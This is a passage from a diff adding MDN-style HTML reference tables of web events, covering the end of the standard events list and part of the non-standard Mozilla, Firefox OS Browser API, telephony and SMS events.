+   <td>{{event("soundstart")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
+   <td>Any sound — recognisable speech or not — has been detected.</td>
+  </tr>
+  <tr>
+   <td>{{event("speechend")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
+   <td>Speech recognised by the speech recognition service has stopped being detected.</td>
+  </tr>
+  <tr>
+   <td>{{event("speechstart")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
+   <td>Sound that is recognised by the speech recognition service as speech has been detected.</td>
+  </tr>
+  <tr>
+   <td>{{event("stalled")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-stalled">HTML5 media</a></td>
+   <td>The user agent is trying to fetch media data, but data is unexpectedly not forthcoming.</td>
+  </tr>
+  <tr>
+   <td>{{event("start_(SpeechRecognition)","start")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
+   <td>The speech recognition service has begun listening to incoming audio with intent to recognize grammars associated with the current <code>SpeechRecognition</code>.</td>
+  </tr>
+  <tr>
+   <td>{{event("start_(SpeechSynthesis)","start")}}</td>
+   <td>{{domxref("SpeechSynthesisEvent")}}</td>
+   <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
+   <td>The utterance has begun to be spoken.</td>
+  </tr>
+  <tr>
+   <td>{{event("storage")}}</td>
+   <td>{{domxref("StorageEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/webstorage/#the-storage-event">Web Storage</a></td>
+   <td>A storage area (<a href="/en-US/docs/DOM/Storage#localStorage">localStorage</a> or <a href="/en-US/docs/DOM/Storage#sessionStorage">sessionStorage</a>) has changed.</td>
+  </tr>
+  <tr>
+   <td>{{event("submit")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html">DOM L2</a>, <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#form-submission-algorithm">HTML5</a></td>
+   <td>A form is submitted.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/success_indexedDB">success</a></code></td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></td>
+   <td>A request successfully completed.</td>
+  </tr>
+  <tr>
+   <td>{{event("suspend")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-suspend">HTML5 media</a></td>
+   <td>Media data loading has been suspended.</td>
+  </tr>
+  <tr>
+   <td>{{event("SVGAbort")}}</td>
+   <td>{{domxref("SVGEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>Page loading has been stopped before the <a href="/en-US/docs/SVG">SVG</a> was loaded.</td>
+  </tr>
+  <tr>
+   <td>{{event("SVGError")}}</td>
+   <td>{{domxref("SVGEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An error has occurred before the <a href="/en-US/docs/SVG">SVG</a> was loaded.</td>
+  </tr>
+  <tr>
+   <td>{{event("SVGLoad")}}</td>
+   <td>{{domxref("SVGEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An <a href="/en-US/docs/SVG">SVG</a> document has been loaded and parsed.</td>
+  </tr>
+  <tr>
+   <td>{{event("SVGResize")}}</td>
+   <td>{{domxref("SVGEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An <a href="/en-US/docs/SVG">SVG</a> document is being resized.</td>
+  </tr>
+  <tr>
+   <td>{{event("SVGScroll")}}</td>
+   <td>{{domxref("SVGEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An <a href="/en-US/docs/SVG">SVG</a> document is being scrolled.</td>
+  </tr>
+  <tr>
+   <td>{{event("SVGUnload")}}</td>
+   <td>{{domxref("SVGEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An <a href="/en-US/docs/SVG">SVG</a> document has been removed from a window or frame.</td>
+  </tr>
+  <tr>
+   <td>{{event("SVGZoom")}}</td>
+   <td>{{domxref("SVGZoomEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>An <a href="/en-US/docs/SVG">SVG</a> document is being zoomed.</td>
+  </tr>
+  <tr>
+   <td>{{event("timeout")}}</td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-timeout">XMLHttpRequest</a></td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{event("timeupdate")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-timeupdate">HTML5 media</a></td>
+   <td>The time indicated by the <code>currentTime</code> attribute has been updated.</td>
+  </tr>
+  <tr>
+   <td>{{event("touchcancel")}}</td>
+   <td>{{domxref("TouchEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/touch-events/">Touch Events</a></td>
+   <td>A touch point has been disrupted in an implementation-specific manners (too many touch points for example).</td>
+  </tr>
+  <tr>
+   <td>{{event("touchend")}}</td>
+   <td>{{domxref("TouchEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/touch-events/#the-touchend-event">Touch Events</a></td>
+   <td>A touch point is removed from the touch surface.</td>
+  </tr>
+  <tr>
+   <td>{{event("touchenter")}}</td>
+   <td>{{domxref("TouchEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/touch-events/">Touch Events</a> Removed</td>
+   <td>A touch point is moved onto the interactive area of an element.</td>
+  </tr>
+  <tr>
+   <td>{{event("touchleave")}}</td>
+   <td>{{domxref("TouchEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/touch-events/">Touch Events</a> Removed</td>
+   <td>A touch point is moved off the interactive area of an element.</td>
+  </tr>
+  <tr>
+   <td>{{event("touchmove")}}</td>
+   <td>{{domxref("TouchEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/touch-events/#the-touchmove-event">Touch Events</a></td>
+   <td>A touch point is moved along the touch surface.</td>
+  </tr>
+  <tr>
+   <td>{{event("touchstart")}}</td>
+   <td>{{domxref("TouchEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/touch-events/#the-touchstart---------event">Touch Events</a></td>
+   <td>A touch point is placed on the touch surface.</td>
+  </tr>
+  <tr>
+   <td>{{event("transitionend")}}</td>
+   <td>{{domxref("TransitionEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/css3-transitions/#transition-events">CSS Transitions</a></td>
+   <td>A <a href="/en-US/docs/CSS/CSS_transitions">CSS transition</a> has completed.</td>
+  </tr>
+  <tr>
+   <td>{{event("unload")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-unload">DOM L3</a></td>
+   <td>The document or a dependent resource is being unloaded.</td>
+  </tr>
+  <tr>
+   <td>{{event("updateready")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/spec/offline.html">Offline</a></td>
+   <td>The resources listed in the manifest have been newly redownloaded, and the script can use <code>swapCache()</code> to switch to the new cache.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/upgradeneeded_indexedDB">upgradeneeded</a></code></td>
+   <td> </td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></td>
+   <td>An attempt was made to open a database with a version number higher than its current version. A <code>versionchange</code> transaction has been created.</td>
+  </tr>
+  <tr>
+   <td>{{event("userproximity")}}</td>
+   <td>{{domxref("UserProximityEvent")}}</td>
+   <td style="white-space: nowrap;">{{SpecName("Proximity Events")}}</td>
+   <td>Fresh data is available from a proximity sensor (indicates whether the nearby object is <code>near</code> the device or not).</td>
+  </tr>
+  <tr>
+   <td>{{event("voiceschanged")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
+   <td>The list of {{domxref("SpeechSynthesisVoice")}} objects that would be returned by the {{domxref("SpeechSynthesis.getVoices()")}} method has changed (when the {{event("voiceschanged")}} event fires.)</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/versionchange_indexedDB">versionchange</a></code></td>
+   <td> </td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#database-interface">IndexedDB</a></td>
+   <td>A <code>versionchange</code> transaction completed.</td>
+  </tr>
+  <tr>
+   <td>{{event("visibilitychange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/page-visibility/#sec-visibilitychange-event">Page visibility</a></td>
+   <td>The content of a tab has become visible or has been hidden.</td>
+  </tr>
+  <tr>
+   <td>{{event("volumechange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-volumechange">HTML5 media</a></td>
+   <td>The volume has changed.</td>
+  </tr>
+  <tr>
+   <td>{{event("waiting")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-waiting">HTML5 media</a></td>
+   <td>Playback has stopped because of a temporary lack of data.</td>
+  </tr>
+  <tr>
+   <td>{{event("wheel")}}{{gecko_minversion_inline("17")}}</td>
+   <td>{{domxref("WheelEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-wheel">DOM L3</a></td>
+   <td>A wheel button of a pointing device is rotated in any direction.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Non-standard_events">Non-standard events</h2>
+
+<table class="standard-table" style="width: 100%;">
+ <thead>
+  <tr>
+   <th class="header" style="width: 220px;">Event Name</th>
+   <th class="header" style="width: 90px;">Event Type</th>
+   <th class="header" style="width: 100px;">Specification</th>
+   <th class="header">Fired when...</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{event("afterscriptexecute")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td><em>Mozilla Specific</em></td>
+   <td>A script has been executed.</td>
+  </tr>
+  <tr>
+   <td>{{event("beforescriptexecute")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td><em>Mozilla Specific</em></td>
+   <td>A script is about to be executed.</td>
+  </tr>
+  <tr>
+   <td>{{event("beforeinstallprompt")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td><em>Chrome specific</em></td>
+   <td>A user is prompted to save a web site to a home screen on mobile.</td>
+  </tr>
+  <tr>
+   <td>{{event("cardstatechange")}}</td>
+   <td> </td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The {{domxref("MozMobileConnection.cardState")}} property changes value.</td>
+  </tr>
+  <tr>
+   <td>{{event("change")}}</td>
+   <td>{{domxref("DeviceStorageChangeEvent")}}</td>
+   <td><em>Firefox OS specific</em></td>
+   <td>This event is triggered each time a file is created, modified or deleted on a given storage area.</td>
+  </tr>
+  <tr>
+   <td>{{event("connectionInfoUpdate")}}</td>
+   <td> </td>
+   <td><a href="http://mxr.mozilla.org/mozilla-central/source/dom/wifi/nsIWifi.idl?rev=3e586802f478#176"><em>Firefox OS specific</em></a></td>
+   <td>The informations about the signal strength and the link speed have been updated.</td>
+  </tr>
+  <tr>
+   <td>{{event("cfstatechange")}}</td>
+   <td> </td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The call forwarding state changes.</td>
+  </tr>
+  <tr>
+   <td>{{event("datachange")}}</td>
+   <td> </td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The {{domxref("MozMobileConnection.data")}} object changes values.</td>
+  </tr>
+  <tr>
+   <td>{{event("dataerror")}}</td>
+   <td> </td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The {{domxref("MozMobileConnection.data")}} object receive an error from the <abbr title="Radio Interface Layer">RIL</abbr>.</td>
+  </tr>
+  <tr>
+   <td>{{event("DOMMouseScroll")}}{{deprecated_inline}}</td>
+   <td> </td>
+   <td><em>Mozilla specific</em></td>
+   <td>The wheel button of a pointing device is rotated (detail attribute is a number of lines). (use {{event("wheel")}} instead)</td>
+  </tr>
+  <tr>
+   <td><code>dragdrop</code> {{deprecated_inline}}</td>
+   <td><code>DragEvent</code></td>
+   <td><em>Mozilla specific</em></td>
+   <td>An element is dropped (use {{event("drop")}} instead).</td>
+  </tr>
+  <tr>
+   <td><code>dragexit</code> {{deprecated_inline}}</td>
+   <td><code>DragEvent</code></td>
+   <td><em>Mozilla specific</em></td>
+   <td>A drag operation is being ended(use {{event("dragend")}} instead).</td>
+  </tr>
+  <tr>
+   <td><code>draggesture</code> {{deprecated_inline}}</td>
+   <td><code>DragEvent</code></td>
+   <td><em>Mozilla specific</em></td>
+   <td>The user starts dragging an element or text selection (use {{event("dragstart")}} instead).</td>
+  </tr>
+  <tr>
+   <td>{{event("icccardlockerror")}}</td>
+   <td> </td>
+   <td><em>Firefox OS specific</em></td>
+   <td>the {{domxref("MozMobileConnection.unlockCardLock()")}} or {{domxref("MozMobileConnection.setCardLock()")}} methods fails.</td>
+  </tr>
+  <tr>
+   <td>{{event("iccinfochange")}}</td>
+   <td> </td>
+   <td><em>Firefox OS specific</em></td>
+   <td>The {{domxref("MozMobileConnection.iccInfo")}} object changes.</td>
+  </tr>
+  <tr>
+   <td>{{event("localized")}}</td>
+   <td> </td>
+   <td><em><a href="https://github.com/fabi1cazenave/webL10n">Mozilla Specific</a></em></td>
+   <td>The page has been localized using data-l10n-* attributes.</td>
+  </tr>
+  <tr>
+   <td>{{event("mousewheel")}}{{deprecated_inline}}</td>
+   <td> </td>
+   <td><a href="http://msdn.microsoft.com/en-us/library/ie/ms536951%28v=vs.85%29.aspx"><em>IE invented</em></a></td>
+   <td>The wheel button of a pointing device is rotated.</td>
+  </tr>
+  <tr>
+   <td>{{event("MozAudioAvailable")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td><em>Mozilla specific</em></td>
+   <td>The audio buffer is full and the corresponding raw samples are available.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/Reference/Events/MozBeforeResize"><code>MozBeforeResize</code></a> {{obsolete_inline}}</td>
+   <td> </td>
+   <td><em>Mozilla specific</em></td>
+   <td>A window is about to be resized.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowseractivitydone")}}</td>
+   <td> </td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when some activity has been completed (complete description TBD.)</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowserasyncscroll")}}</td>
+   <td> </td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when the scroll position within a browser<code> </code>{{HTMLElement("iframe")}} changes.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowseraudioplaybackchange")}}</td>
+   <td> </td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when audio starts or stops playing within the browser {{HTMLElement("iframe")}} content.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowsercaretstatechanged")}}</td>
+   <td> </td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when the text selected inside the browser {{HTMLElement("iframe")}} content changes.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowserclose")}}</td>
+   <td> </td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when window.close() is called within a browser {{HTMLElement("iframe")}}.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowsercontextmenu")}}</td>
+   <td> </td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when a browser {{HTMLElement("iframe")}} try to open a context menu.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowserdocumentfirstpaint")}}</td>
+   <td> </td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when a new paint occurs on any document in the browser {{HTMLElement("iframe")}}.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowsererror")}}</td>
+   <td> </td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when an error occured while trying to load a content within a browser iframe</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowserfindchange")}}</td>
+   <td> </td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when a search operation is performed on the browser {{HTMLElement("iframe")}} content (see <a href="/en-US/docs/Web/API/HTMLIFrameElement#Search_methods">HTMLIFrameElement search methods</a>.)</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowserfirstpaint")}}</td>
+   <td> </td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when the {{HTMLElement("iframe")}} paints content for the first time (this doesn't include the initial paint from <em>about:blank</em>.)</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowsericonchange")}}</td>
+   <td> </td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when the favicon of a browser iframe changes.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowserlocationchange")}}</td>
+   <td> </td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when an browser iframe's location changes.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowserloadend")}}</td>
+   <td> </td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when the browser iframe has finished loading all its assets.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowserloadstart")}}</td>
+   <td> </td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when the browser iframe starts to load a new page.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowsermanifestchange")}}</td>
+   <td> </td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when a the path to the app manifest changes, in the case of a browser {{HTMLElement("iframe")}} with an open web app embedded in it.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowsermetachange")}}</td>
+   <td> </td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when a {{htmlelement("meta")}} elelment is added to, removed from or changed in the browser {{HTMLElement("iframe")}}'s content.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowseropensearch")}}</td>
+   <td> </td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when a link to a search engine is found.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowseropentab")}}</td>
+   <td> </td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when a new tab is opened within a browser {{HTMLElement("iframe")}} as a result of the user issuing a command to open a link target in a new tab (for example <kbd>ctrl</kbd>/<kbd>cmd</kbd> + click.)</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowseropenwindow")}}</td>
+   <td> </td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when {{domxref("window.open()")}} is called within a browser iframe.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowserresize")}}</td>
+   <td> </td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when the browser {{HTMLElement("iframe")}}'s window size has changed.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowserscroll")}}</td>
+   <td> </td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when the browser {{HTMLElement("iframe")}} content scrolls.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowserscrollareachanged")}}</td>
+   <td> </td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when the available scrolling area  in the browser {{HTMLElement("iframe")}} changes. This can occur on resize and when the page size changes (while loading for example.)</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowserscrollviewchange")}}</td>
+   <td> </td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when asynchronous scrolling (i.e. APCZ) starts or stops.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowsersecuritychange")}}</td>
+   <td> </td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when the SSL state changes within a browser iframe.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowserselectionstatechanged")}}</td>
+   <td> </td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when the text selected inside the browser {{HTMLElement("iframe")}} content changes. Note that this is deprecated, and newer implementations use {{event("mozbrowsercaretstatechanged")}} instead.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowsershowmodalprompt")}}</td>
+   <td> </td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when {{domxref("window.alert","alert()")}}, {{domxref("window.confirm","confirm()")}} or {{domxref("window.prompt","prompt()")}} are called within a browser iframe</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowsertitlechange")}}</td>
+   <td> </td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when the document.title changes within a browser iframe.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowserusernameandpasswordrequired")}}</td>
+   <td> </td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when an HTTP authentification is requested.</td>
+  </tr>
+  <tr>
+   <td>{{event("mozbrowservisibilitychange")}}</td>
+   <td> </td>
+   <td><em>Firefox OS <a href="/en-US/docs/Web/API/Browser_API">Browser API</a>-specific</em></td>
+   <td>Sent when the visibility state of the current browser iframe {{HTMLElement("iframe")}} changes, for example due to a call to {{domxref("HTMLIFrameElement.setVisible","setVisible()")}}.</td>
+  </tr>
+  <tr>
+   <td>{{event("MozGamepadButtonDown")}}</td>
+   <td> </td>
+   <td><em>To be specified</em></td>
+   <td>A gamepad button is pressed down.</td>
+  </tr>
+  <tr>
+   <td>{{event("MozGamepadButtonUp")}}</td>
+   <td> </td>
+   <td><em>To be specified</em></td>
+   <td>A gamepad button is released.</td>
+  </tr>
+  <tr>
+   <td>{{event("MozMousePixelScroll")}} {{deprecated_inline}}</td>
+   <td> </td>
+   <td><em>Mozilla specific</em></td>
+   <td>The wheel button of a pointing device is rotated (detail attribute is a number of pixels). (use wheel instead)</td>
+  </tr>
+  <tr>
+   <td>{{event("MozOrientation")}} {{deprecated_inline}}</td>
+   <td> </td>
+   <td><em>Mozilla specific</em></td>
+   <td>Fresh data is available from an orientation sensor (see deviceorientation).</td>
+  </tr>
+  <tr>
+   <td>{{event("MozScrolledAreaChanged")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td><em>Mozilla specific</em></td>
+   <td>The document view has been scrolled or resized.</td>
+  </tr>
+  <tr>
+   <td>{{event("moztimechange")}}</td>
+   <td> </td>
+   <td><em>Mozilla specific</em></td>
+   <td>The time of the device has been changed.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchDown</a> {{deprecated_inline}}</td>
+   <td> </td>
+   <td><em>Mozilla specific</em></td>
+   <td>A touch point is placed on the touch surface (use touchstart instead).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchMove</a> {{deprecated_inline}}</td>
+   <td> </td>
+   <td><em>Mozilla specific</em></td>
+   <td>A touch point is moved along the touch surface (use touchmove instead).</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchUp</a> {{deprecated_inline}}</td>
+   <td> </td>
+   <td><em>Mozilla specific</em></td>
+   <td>A touch point is removed from the touch surface (use touchend instead).</td>
+  </tr>
+  <tr>
+   <td>{{event("alerting")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>The correspondent is being alerted (his/her phone is ringing).</td>
+  </tr>
+  <tr>
+   <td>{{event("busy")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>The line of the correspondent is busy.</td>
+  </tr>
+  <tr>
+   <td>{{event("callschanged")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call has been added or removed from the list of current calls.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/DOM/onconnected">onconnected</a> {{event("connected")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call has been connected.</td>
+  </tr>
+  <tr>
+   <td>{{event("connecting")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call is about to connect.</td>
+  </tr>
+  <tr>
+   <td>{{event("delivered")}}</td>
+   <td>{{domxref("SMSEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>An SMS has been successfully delivered.</td>
+  </tr>
+  <tr>
+   <td>{{event("dialing")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>The number of a correspondent has been dialed.</td>
+  </tr>
+  <tr>
+   <td>{{event("disabled")}}</td>
+   <td> </td>
+   <td><a href="http://mxr.mozilla.org/mozilla-central/source/dom/wifi/nsIWifi.idl?rev=3e586802f478#182"><em>Firefox OS specific</em></a></td>
+   <td>Wifi has been disabled on the device.</td>
+  </tr>
+  <tr>
+   <td>{{event("disconnected")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call has been disconnected.</td>
+  </tr>
+  <tr>
+   <td>{{event("disconnecting")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call is about to disconnect.</td>
+  </tr>
+  <tr>
+   <td>{{event("enabled")}}</td>
+   <td> </td>
+   <td><a href="http://mxr.mozilla.org/mozilla-central/source/dom/wifi/nsIWifi.idl?rev=3e586802f478#182"><em>Firefox OS specific</em></a></td>
+   <td>Wifi has been enabled on the device.</td>
+  </tr>
+  <tr>
+   <td>{{event("error_(Telephony)","error")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>An error occurred.</td>
+  </tr>
+  <tr>
+   <td>{{event("held")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call has been held.</td>
+  </tr>
+  <tr>
+   <td>{{event("holding")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call is about to be held.</td>
+  </tr>
+  <tr>
+   <td>{{event("incoming")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call is being received.</td>
+  </tr>
+  <tr>
+   <td>{{event("received")}}</td>
+   <td>{{domxref("SMSEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>An SMS has been received.</td>
+  </tr>
+  <tr>
+   <td>{{event("resuming")}}</td>
+   <td>{{domxref("CallEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>A call is about to resume.</td>
+  </tr>
+  <tr>
+   <td>{{event("sent")}}</td>
+   <td>{{domxref("SMSEvent")}}</td>
+   <td><em>To be specified</em></td>
+   <td>An SMS has been sent.</td>
+  </tr>
+  <tr>
